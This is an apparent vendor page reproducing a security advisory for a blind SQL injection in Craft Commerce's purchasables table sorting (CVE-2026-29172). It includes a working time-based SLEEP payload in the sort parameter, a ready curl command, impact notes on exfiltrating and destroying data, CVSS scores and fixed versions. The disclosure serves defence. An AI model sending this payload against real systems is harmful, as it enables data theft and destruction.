Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-29172

Craft Commerce is Vulnerable to SQL Injection in Commerce Purchasables Table Sorting
Back to all
CVE

CVE-2026-29172

Craft Commerce is Vulnerable to SQL Injection in Commerce Purchasables Table Sorting

Summary

Craft Commerce is vulnerable to SQL Injection in the purchasables table endpoint. The sort parameter is split by | and the first part (column name) is passed directly as an array key to orderBy() without whitelist validation. Yii2's query builder does NOT escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the ORDER BY clause.

---

PoC

Required Permissions

  • General
    • Access the control panel
    • Access Craft Commerce
  • Craft Commerce
    • Manage orders
    • Edit orders

Steps to reproduce

  1. Log in to the control panel
  2. Navigate to Commerce > Orders > Create a new order
  3. Click on "Add a line item" to show the purchasables table
  4. Intercept the AJAX request and modify the sort parameter as follows:
GET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc
  1. Observe the delay in the response, confirming the injection

Alternatively, you can use the following curl (bash syntax) command (replace cookie and target domain as needed):

curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc'

Impact

With this Blind SQLi, an attacker can:

  • Exfiltrate data character-by-character (same technique as GHSA-pmgj-gmm4-jh6j).
  • Modify or destroy data (drop tables, update records, alter schema).

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
8.7
-
4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
C
H
U
0
-
C
H
U
-

Related Resources

No items found.

References

https://github.com/craftcms/commerce/security/advisories/GHSA-j3x5-mghf-xvfw, https://nvd.nist.gov/vuln/detail/CVE-2026-29172, https://github.com/craftcms/commerce/commit/b231b920b73db023e81e5b261b894d73e865c276, https://github.com/craftcms/commerce/commit/e4e0f4107cd895d29290523637f077fe280407b1, https://github.com/craftcms/commerce

Severity

8.8

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
8.8
EPSS Probability
0.00013%
EPSS Percentile
0.02062%
Introduced Version
4.0.0,5.0.0
Fix Available
4.10.2,5.5.3

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading